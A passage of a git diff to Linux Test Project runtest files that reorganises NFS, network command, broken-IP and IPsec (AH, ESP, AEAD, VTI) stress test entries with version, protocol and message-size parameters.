+nfs3t_02 nfs02 -v 3 -t tcp
+nfs4_02 nfs02 -v 4 -t tcp
+nfs41_02 nfs02 -v 4.1 -t tcp
+nfs42_02 nfs02 -v 4.2 -t tcp
+nfs3_ipv6_02 nfs02 -6 -v 3 -t udp
+nfs3t_ipv6_02 nfs02 -6 -v 3 -t tcp
+nfs4_ipv6_02 nfs02 -6 -v 4 -t tcp
+nfs41_ipv6_02 nfs02 -6 -v 4.1 -t tcp
+nfs42_ipv6_02 nfs02 -6 -v 4.2 -t tcp
 
-nfs3_03 export VERSION=3 SOCKET_TYPE=udp; nfs03
-nfs4_03 export VERSION=4 SOCKET_TYPE=tcp; nfs03
-nfs3_ipv6_03 export VERSION=3 SOCKET_TYPE=udp; nfs03 -6
-nfs4_ipv6_03 export VERSION=4 SOCKET_TYPE=tcp; nfs03 -6
+nfs3_03 nfs03 -v 3 -t udp
+nfs3t_03 nfs03 -v 3 -t tcp
+nfs4_03 nfs03 -v 4 -t tcp
+nfs41_03 nfs03 -v 4.1 -t tcp
+nfs42_03 nfs03 -v 4.2 -t tcp
+nfs3_ipv6_03 nfs03 -6 -v 3 -t udp
+nfs3t_ipv6_03 nfs03 -6 -v 3 -t tcp
+nfs4_ipv6_03 nfs03 -6 -v 4 -t tcp
+nfs41_ipv6_03 nfs03 -6 -v 4.1 -t tcp
+nfs42_ipv6_03 nfs03 -6 -v 4.2 -t tcp
 
-nfs3_04 export VERSION=3 SOCKET_TYPE=udp; nfs04
-nfs4_04 export VERSION=4 SOCKET_TYPE=tcp; nfs04
-nfs3_ipv6_04 export VERSION=3 SOCKET_TYPE=udp; nfs04 -6
-nfs4_ipv6_04 export VERSION=4 SOCKET_TYPE=tcp; nfs04 -6
+nfs3_04 nfs04 -v 3 -t udp
+nfs3t_04 nfs04 -v 3 -t tcp
+nfs4_04 nfs04 -v 4 -t tcp
+nfs41_04 nfs04 -v 4.1 -t tcp
+nfs42_04 nfs04 -v 4.2 -t tcp
+nfs3_ipv6_04 nfs04 -6 -v 3 -t udp
+nfs3t_ipv6_04 nfs04 -6 -v 3 -t tcp
+nfs4_ipv6_04 nfs04 -6 -v 4 -t tcp
+nfs41_ipv6_04 nfs04 -6 -v 4.1 -t tcp
+nfs42_ipv6_04 nfs04 -6 -v 4.2 -t tcp
 
-nfs3_05 export VERSION=3 SOCKET_TYPE=udp; nfs05
-nfs4_05 export VERSION=4 SOCKET_TYPE=tcp; nfs05
-nfs3_ipv6_05 export VERSION=3 SOCKET_TYPE=udp; nfs05 -6
-nfs4_ipv6_05 export VERSION=4 SOCKET_TYPE=tcp; nfs05 -6
+nfs3_05 nfs05 -v 3 -t udp
+nfs3t_05 nfs05 -v 3 -t tcp
+nfs4_05 nfs05 -v 4 -t tcp
+nfs41_05 nfs05 -v 4.1 -t tcp
+nfs42_05 nfs05 -v 4.2 -t tcp
+nfs3_ipv6_05 nfs05 -6 -v 3 -t udp
+nfs3t_ipv6_05 nfs05 -6 -v 3 -t tcp
+nfs4_ipv6_05 nfs05 -6 -v 4 -t tcp
+nfs41_ipv6_05 nfs05 -6 -v 4.1 -t tcp
+nfs42_ipv6_05 nfs05 -6 -v 4.2 -t tcp
 
-nfslock01 export VERSION; TCbin=$LTPROOT/testcases/bin nfslock01
+nfs01_06  nfs06 -v "3 3 3 4 4 4" -t "udp udp tcp tcp tcp tcp"
+nfs02_06 nfs06 -v "3 4 4.1 4.2 4.2 4.2" -t "udp tcp tcp tcp tcp tcp"
+nfs03_ipv6_06 nfs06 -6 -v "4 4.1 4.1 4.2 4.2 4.2" -t "tcp tcp tcp tcp tcp tcp"
 
-nfsstat01 export VERSION; TCbin=$LTPROOT/testcases/bin nfsstat01
-nfsx-linux export VERSION SOCKET_TYPE; TCbin=$LTPROOT/testcases/bin fsx.sh
+nfslock3_01 nfslock01 -v 3 -t udp
+nfslock3t_01 nfslock01 -v 3 -t tcp
+nfslock4_01 nfslock01 -v 4 -t tcp
+nfslock41_01 nfslock01 -v 4.1 -t tcp
+nfslock42_01 nfslock01 -v 4.2 -t tcp
+nfslock3_ipv6_01 nfslock01 -6 -v 3 -t udp
+nfslock3t_ipv6_01 nfslock01 -6 -v 3 -t tcp
+nfslock4_ipv6_01 nfslock01 -6 -v 4 -t tcp
+nfslock41_ipv6_01 nfslock01 -6 -v 4.1 -t tcp
+nfslock42_ipv6_01 nfslock01 -6 -v 4.2 -t tcp
+
+nfsstat3_01 nfsstat01
+
+nfsx3 fsx.sh -v 3 -t udp
+nfsx3t fsx.sh -v 3 -t tcp
+nfsx4 fsx.sh -v 4 -t tcp
+nfsx41 fsx.sh -v 4.1 -t tcp
+nfsx42 fsx.sh -v 4.2 -t tcp
+nfsx3_ipv6 fsx.sh -6 -v 3 -t udp
+nfsx3t_ipv6 fsx.sh -6 -v 3 -t tcp
+nfsx4_ipv6 fsx.sh -6 -v 4 -t tcp
+nfsx41_ipv6 fsx.sh -6 -v 4.1 -t tcp
+nfsx42_ipv6 fsx.sh -6 -v 4.2 -t tcp
diff --git a/runtest/rpc_tests b/runtest/net.rpc_tests
similarity index 100%
rename from runtest/rpc_tests
rename to runtest/net.rpc_tests
diff --git a/runtest/net.tcp_cmds b/runtest/net.tcp_cmds
index de58b35..b7daf9d 100644
--- a/runtest/net.tcp_cmds
+++ b/runtest/net.tcp_cmds
@@ -2,13 +2,16 @@
 #
 # PLEASE READ THE README FILE IN /tcp_cmds BEFORE RUNNING THESE.
 #
-arp arp01
+ipneigh01 ipneigh01.sh
+arping01 arping01.sh
+clockdiff01 clockdiff01.sh
 echo export TCbin=$LTPROOT/testcases/network/tcp_cmds/echo; echo01
 finger finger01
 ftp export TCbin=$LTPROOT/testcases/network/tcp_cmds/ftp; ftp01
 host host01
 netstat netstat01
-ping export LTPROOT; ping01
+ping01 ping01.sh
+ping02 ping02.sh
 rcp export TCbin=$LTPROOT/testcases/network/tcp_cmds/rcp; rcp01
 rdist export TCbin=$LTPROOT/testcases/network/tcp_cmds/rdist; rdist01
 rlogin rlogin01
@@ -21,5 +24,6 @@
 dhcpd dhcpd_tests.sh
 dnsmasq dnsmasq_tests.sh
 iproute ip_tests.sh
-traceroute traceroute_tests.sh
+tracepath01 tracepath01.sh
+traceroute01 traceroute01.sh
 xinetd xinetd_tests.sh
diff --git a/runtest/tirpc_tests b/runtest/net.tirpc_tests
similarity index 100%
rename from runtest/tirpc_tests
rename to runtest/net.tirpc_tests
diff --git a/runtest/net_stress.broken_ip b/runtest/net_stress.broken_ip
index c037f3e..32e3b99 100644
--- a/runtest/net_stress.broken_ip
+++ b/runtest/net_stress.broken_ip
@@ -11,7 +11,7 @@
 broken_ip4-checksum broken_ip4-checksum
 broken_ip4-dstaddr broken_ip4-dstaddr
 
-broken_ip6-dstaddr broken_ip6-dstaddr
-broken_ip6-nexthdr broken_ip6-nexthdr
-broken_ip6-plen broken_ip6-plen
-broken_ip6-version broken_ip6-version
+broken_ip6-dstaddr broken_ip6-dstaddr -6
+broken_ip6-nexthdr broken_ip6-nexthdr -6
+broken_ip6-plen broken_ip6-plen -6
+broken_ip6-version broken_ip6-version -6
diff --git a/runtest/net_stress.interfaces b/runtest/net_stress.interface
similarity index 100%
rename from runtest/net_stress.interfaces
rename to runtest/net_stress.interface
diff --git a/runtest/net_stress.ipsec_icmp b/runtest/net_stress.ipsec_icmp
index 2b989b1..374d44b 100644
--- a/runtest/net_stress.ipsec_icmp
+++ b/runtest/net_stress.ipsec_icmp
@@ -1,69 +1,114 @@
+# Stress test for IPsec with ICMP messages
+# Max ICMP message size descriptsion, MAX_SIZE is 65535
 #
-# Stress test for TCP/IP protocol stack (ICMP)
+# IPv4
+# ----
+#   MAX = MAX_SIZE - IP(20) - ICMP(8) = 65507
 #
+#   IPsec [AH]: MAX - AH(24) = 65483
+#   IPsec [AH + Tunnel]: MAX - AH(24) - Tunnel(20) = 65463
+#
+#   ESP Header has pad payload, so the ESP length is variable
+#   IPsec [ESP]: MAX - ESP(37) = 65470
+#   IPsec [ESP + Tunnel]: MAX - ESP(37) - Tunnel(20) = 65450
+#
+# IPv6
+# ----
+#   MAX = MAX_SIZE - ICMP(8) = 65527
+#
+#   IPsec [AH]: MAX - AH(24) = 65503
+#
+#   When receive, we drop the tunnel header first and only leave the inside IPv6
+#   Header and ICMP message. That's why we can have so large message size.
+#   IPsec [AH + Tunnel]: MAX
+#   IPsec [ESP]: MAX - ESP(37) = 65490
+#   IPsec [ESP + Tunnel]: MAX
+#
+# IPsec compression: same message size but different content will result in different data size
+# after compression. So we just use a large enough message size(65000) for testing
 
-# MAX_LENGTH(65535) - IP(20) - ICMP(8) = MAX_SIZE(65507)
 icmp4-uni-basic01 icmp-uni-basic.sh -s "10 100 1000 10000 65507"
-# MAX_LENGTH(65535) - IP(20) - AH(24) - ICMP(8) = MAX_SIZE(65483)
 icmp4-uni-basic02 icmp-uni-basic.sh -p ah -m transport -s "10 100 1000 10000 65483"
-# MAX_LENGTH(65535) - IP(20) - AH(24) - Tunnel(IPv4 20) - ICMP(8) = MAX_SIZE(65463)
 icmp4-uni-basic03 icmp-uni-basic.sh -p ah -m tunnel -s "10 100 1000 10000 65463"
-# MAX_LENGTH(65535) - IP(20) - ESP (37) - ICMP(8) = MAX_SIZE(65470)
-# ESP Header has pad payload, so the ESP length is variable
 icmp4-uni-basic04 icmp-uni-basic.sh -p esp -m transport -s "10 100 1000 10000 65470"
-# MAX_LENGTH(65535) - IP(20) - ESP (37) - Tunnel(20) - ICMP(8) = MAX_SIZE(65450)
 icmp4-uni-basic05 icmp-uni-basic.sh -p esp -m tunnel -s "10 100 1000 10000 65450"
-# Same message size but different content will result in different data size
-# after compression. So we just use a large enough message size(65000) for testing
-icmp4-uni-basic06 icmp-uni-basic.sh -p ipcomp -m transport -s "10 100 1000 10000 65000"
-icmp4-uni-basic07 icmp-uni-basic.sh -p ipcomp -m tunnel -s "10 100 1000 10000 65000"
+icmp4-uni-basic06 icmp-uni-basic.sh -p comp -m transport -s "10 100 1000 10000 65000"
+icmp4-uni-basic07 icmp-uni-basic.sh -p comp -m tunnel -s "10 100 1000 10000 65000"
+icmp4-uni-basic08 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic09 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic10 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic11 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic12 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic13 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic14 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic15 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic16 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m transport -s "10 100 1000 10000 65470"
+icmp4-uni-basic17 icmp-uni-basic.sh -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic18 icmp-uni-basic.sh -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic19 icmp-uni-basic.sh -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic20 icmp-uni-basic.sh -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic21 icmp-uni-basic.sh -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic22 icmp-uni-basic.sh -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic23 icmp-uni-basic.sh -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic24 icmp-uni-basic.sh -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
+icmp4-uni-basic25 icmp-uni-basic.sh -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65450"
 
-# MAX_LENGTH(65535) - ICMP(8) = MAX_SIZE(65527)
 icmp6-uni-basic01 icmp-uni-basic.sh -6 -s "10 100 1000 10000 65527"
-# MAX_LENGTH(65535) - AH(24) - ICMP(8) = MAX_SIZE(65503)
 icmp6-uni-basic02 icmp-uni-basic.sh -6 -p ah -m transport -s "10 100 1000 10000 65503"
-# MAX_LENGTH(65535) - ICMP(8) = MAX_SIZE(65527)
-# When receive, we drop the tunnel header first and only leave the inside IPv6
-# Header and icmp message. That's why we can have so large message size.
 icmp6-uni-basic03 icmp-uni-basic.sh -6 -p ah -m tunnel -s "10 100 1000 10000 65527"
-# MAX_LENGTH(65535) - ESP (33) - ICMP(8) = MAX_SIZE(65494)
-# ESP Header has pad payload, so the ESP length is variable
-icmp6-uni-basic04 icmp-uni-basic.sh -6 -p esp -m transport -s "10 100 1000 10000 65494"
-# MAX_LENGTH(65535) - ICMP(8) = MAX_SIZE(65527)
+icmp6-uni-basic04 icmp-uni-basic.sh -6 -p esp -m transport -s "10 100 1000 10000 65490"
 icmp6-uni-basic05 icmp-uni-basic.sh -6 -p esp -m tunnel -s "10 100 1000 10000 65527"
-# Same message size but different content will result in different data size
-# after compression. So we just use a large enough message size(65000) for testing
-icmp6-uni-basic06 icmp-uni-basic.sh -6 -p ipcomp -m transport -s "10 100 1000 10000 65000"
-icmp6-uni-basic07 icmp-uni-basic.sh -6 -p ipcomp -m tunnel -s "10 100 1000 10000 65000"
+icmp6-uni-basic06 icmp-uni-basic.sh -6 -p comp -m transport -s "10 100 1000 10000 65000"
+icmp6-uni-basic07 icmp-uni-basic.sh -6 -p comp -m tunnel -s "10 100 1000 10000 65000"
+icmp6-uni-basic08 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic09 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic10 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic11 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic12 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic13 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic14 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic15 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic16 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "10 100 1000 10000 65490"
+icmp6-uni-basic17 icmp-uni-basic.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic18 icmp-uni-basic.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic19 icmp-uni-basic.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic20 icmp-uni-basic.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic21 icmp-uni-basic.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic22 icmp-uni-basic.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic23 icmp-uni-basic.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic24 icmp-uni-basic.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-basic25 icmp-uni-basic.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
 
-icmp4-multi-diffip01 icmp4-multi-diffip01
-icmp4-multi-diffip02 icmp4-multi-diffip02
-icmp4-multi-diffip03 icmp4-multi-diffip03
-icmp4-multi-diffip04 icmp4-multi-diffip04
-icmp4-multi-diffip05 icmp4-multi-diffip05
-icmp4-multi-diffip06 icmp4-multi-diffip06
-icmp4-multi-diffip07 icmp4-multi-diffip07
+icmp4-uni-vti01 icmp-uni-vti.sh -p ah -a sha256 -m tunnel -S fffffffe -k 1 -s "10 100 1000 10000 65463"
+icmp4-uni-vti02 icmp-uni-vti.sh -p esp -a sha512 -e des -m tunnel -S fffffffe -k 2 -s "10 100 1000 10000 65450"
+icmp4-uni-vti03 icmp-uni-vti.sh -p esp -a rmd160 -e cast5 -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65463"
+icmp4-uni-vti04 icmp-uni-vti.sh -p esp -e blowfish -m tunnel -S fffffffe -k 3 -s "10 100 1000 10000 65463"
+icmp4-uni-vti05 icmp-uni-vti.sh -p esp -a sha512 -e twofish -m tunnel -S fffffffe -k 0x7fffffff -s "10 100 1000 10000 65463"
+icmp4-uni-vti06 icmp-uni-vti.sh -p esp -a sha384 -e camellia -m tunnel -S fffffffe -k 0x80000000 -s "10 100 1000 10000 65463"
+icmp4-uni-vti07 icmp-uni-vti.sh -p esp -a sha512 -e serpent -m tunnel -S fffffffe -k 0xffff -s "10 100 1000 10000 65463"
+icmp4-uni-vti08 icmp-uni-vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti09 icmp-uni-vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti10 icmp-uni-vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti11 icmp-uni-vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti12 icmp-uni-vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti13 icmp-uni-vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti14 icmp-uni-vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti15 icmp-uni-vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
+icmp4-uni-vti16 icmp-uni-vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65463"
 
-icmp6-multi-diffip01 icmp6-multi-diffip01
-icmp6-multi-diffip02 icmp6-multi-diffip02
-icmp6-multi-diffip03 icmp6-multi-diffip03
-icmp6-multi-diffip04 icmp6-multi-diffip04
-icmp6-multi-diffip05 icmp6-multi-diffip05
-icmp6-multi-diffip06 icmp6-multi-diffip06
-icmp6-multi-diffip07 icmp6-multi-diffip07
-
-icmp4-multi-diffnic01 icmp4-multi-diffnic01
-icmp4-multi-diffnic02 icmp4-multi-diffnic02
-icmp4-multi-diffnic03 icmp4-multi-diffnic03
-icmp4-multi-diffnic04 icmp4-multi-diffnic04
-icmp4-multi-diffnic05 icmp4-multi-diffnic05
-icmp4-multi-diffnic06 icmp4-multi-diffnic06
-icmp4-multi-diffnic07 icmp4-multi-diffnic07
-
-icmp6-multi-diffnic01 icmp6-multi-diffnic01
-icmp6-multi-diffnic02 icmp6-multi-diffnic02
-icmp6-multi-diffnic03 icmp6-multi-diffnic03
-icmp6-multi-diffnic04 icmp6-multi-diffnic04
-icmp6-multi-diffnic05 icmp6-multi-diffnic05
-icmp6-multi-diffnic06 icmp6-multi-diffnic06
-icmp6-multi-diffnic07 icmp6-multi-diffnic07
+icmp6-uni-vti01 icmp-uni-vti.sh -6 -p ah -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
+icmp6-uni-vti02 icmp-uni-vti.sh -6 -p esp -a sha256 -e des3_ede -m tunnel -S fffffffe -k 0xffffffff -s "10 100 1000 10000 65527"
+icmp6-uni-vti03 icmp-uni-vti.sh -6 -p esp -a sha512 -e cast5 -m tunnel -S fffffffe -k 1 -s "10 100 1000 10000 65527"
+icmp6-uni-vti04 icmp-uni-vti.sh -6 -p esp -a rmd160 -e blowfish -m tunnel -S fffffffe -k 0x80000000 -s "10 100 1000 10000 65527"
+icmp6-uni-vti05 icmp-uni-vti.sh -6 -p esp -e twofish -m tunnel -S fffffffe -k 0xffff -s "10 100 1000 10000 65527"
+icmp6-uni-vti06 icmp-uni-vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -S fffffffe -k 0x7fffffff -s "10 100 1000 10000 65527"
+icmp6-uni-vti07 icmp-uni-vti.sh -6 -p esp -a sha384 -e serpent -m tunnel -S ffffffff -k 0x11111111 -s "10 100 1000 10000 65527"
+icmp6-uni-vti08 icmp-uni-vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti09 icmp-uni-vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti10 icmp-uni-vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti11 icmp-uni-vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti12 icmp-uni-vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti13 icmp-uni-vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti14 icmp-uni-vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti15 icmp-uni-vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
+icmp6-uni-vti16 icmp-uni-vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "10 100 1000 10000 65527"
diff --git a/runtest/net_stress.ipsec_tcp b/runtest/net_stress.ipsec_tcp
index 7206b3a..1a34f87 100644
--- a/runtest/net_stress.ipsec_tcp
+++ b/runtest/net_stress.ipsec_tcp
@@ -1,333 +1,71 @@
-#
-# Stress test for TCP/IP protocol stack (TCP)
-#
+tcp4_ipsec01 tcp_ipsec.sh -s "100 1000 65535"
+tcp4_ipsec02 tcp_ipsec.sh -p ah -m transport -s "100 1000 65535"
+tcp4_ipsec03 tcp_ipsec.sh -p ah -m tunnel -s "100 1000 65535"
+tcp4_ipsec04 tcp_ipsec.sh -p esp -m transport -s "100 1000 65535"
+tcp4_ipsec05 tcp_ipsec.sh -p esp -m tunnel -s "100 1000 65535"
+tcp4_ipsec06 tcp_ipsec.sh -p comp -m transport -s "100 1000 65535"
+tcp4_ipsec07 tcp_ipsec.sh -p comp -m tunnel -s "100 1000 65535"
+tcp4_ipsec08 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec09 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec10 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec11 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec12 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec13 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec14 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec15 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec16 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec17 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec18 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec19 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec20 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec21 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec22 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec23 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec24 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
+tcp4_ipsec25 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
+tcp4_ipsec26 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
+tcp4_ipsec27 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
+tcp4_ipsec28 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
+tcp4_ipsec29 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
+tcp4_ipsec30 tcp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
+tcp4_ipsec31 tcp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
+tcp4_ipsec32 tcp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
+tcp4_ipsec33 tcp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
+tcp4_ipsec34 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
+tcp4_ipsec35 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
 
-tcp4-uni-basic01 tcp4-uni-basic01
-tcp4-uni-basic02 tcp4-uni-basic02
-tcp4-uni-basic03 tcp4-uni-basic03
-tcp4-uni-basic04 tcp4-uni-basic04
-tcp4-uni-basic05 tcp4-uni-basic05
-tcp4-uni-basic06 tcp4-uni-basic06
-tcp4-uni-basic07 tcp4-uni-basic07
-tcp4-uni-basic08 tcp4-uni-basic08
-tcp4-uni-basic09 tcp4-uni-basic09
-tcp4-uni-basic10 tcp4-uni-basic10
-tcp4-uni-basic11 tcp4-uni-basic11
-tcp4-uni-basic12 tcp4-uni-basic12
-tcp4-uni-basic13 tcp4-uni-basic13
-tcp4-uni-basic14 tcp4-uni-basic14
-
-tcp6-uni-basic01 tcp6-uni-basic01
-tcp6-uni-basic02 tcp6-uni-basic02
-tcp6-uni-basic03 tcp6-uni-basic03
-tcp6-uni-basic04 tcp6-uni-basic04
-tcp6-uni-basic05 tcp6-uni-basic05
-tcp6-uni-basic06 tcp6-uni-basic06
-tcp6-uni-basic07 tcp6-uni-basic07
-tcp6-uni-basic08 tcp6-uni-basic08
-tcp6-uni-basic09 tcp6-uni-basic09
-tcp6-uni-basic10 tcp6-uni-basic10
-tcp6-uni-basic11 tcp6-uni-basic11
-tcp6-uni-basic12 tcp6-uni-basic12
-tcp6-uni-basic13 tcp6-uni-basic13
-tcp6-uni-basic14 tcp6-uni-basic14
-
-tcp4-uni-smallsend01 tcp4-uni-smallsend01
-tcp4-uni-smallsend02 tcp4-uni-smallsend02
-tcp4-uni-smallsend03 tcp4-uni-smallsend03
-tcp4-uni-smallsend04 tcp4-uni-smallsend04
-tcp4-uni-smallsend05 tcp4-uni-smallsend05
-tcp4-uni-smallsend06 tcp4-uni-smallsend06
-tcp4-uni-smallsend07 tcp4-uni-smallsend07
-tcp4-uni-smallsend08 tcp4-uni-smallsend08
-tcp4-uni-smallsend09 tcp4-uni-smallsend09
-tcp4-uni-smallsend10 tcp4-uni-smallsend10
-tcp4-uni-smallsend11 tcp4-uni-smallsend11
-tcp4-uni-smallsend12 tcp4-uni-smallsend12
-tcp4-uni-smallsend13 tcp4-uni-smallsend13
-tcp4-uni-smallsend14 tcp4-uni-smallsend14
-
-tcp6-uni-smallsend01 tcp6-uni-smallsend01
-tcp6-uni-smallsend02 tcp6-uni-smallsend02
-tcp6-uni-smallsend03 tcp6-uni-smallsend03
-tcp6-uni-smallsend04 tcp6-uni-smallsend04
-tcp6-uni-smallsend05 tcp6-uni-smallsend05
-tcp6-uni-smallsend06 tcp6-uni-smallsend06
-tcp6-uni-smallsend07 tcp6-uni-smallsend07
-tcp6-uni-smallsend08 tcp6-uni-smallsend08
-tcp6-uni-smallsend09 tcp6-uni-smallsend09
-tcp6-uni-smallsend10 tcp6-uni-smallsend10
-tcp6-uni-smallsend11 tcp6-uni-smallsend11
-tcp6-uni-smallsend12 tcp6-uni-smallsend12
-tcp6-uni-smallsend13 tcp6-uni-smallsend13
-tcp6-uni-smallsend14 tcp6-uni-smallsend14
-
-tcp4-uni-winscale01 tcp4-uni-winscale01
-tcp4-uni-winscale02 tcp4-uni-winscale02
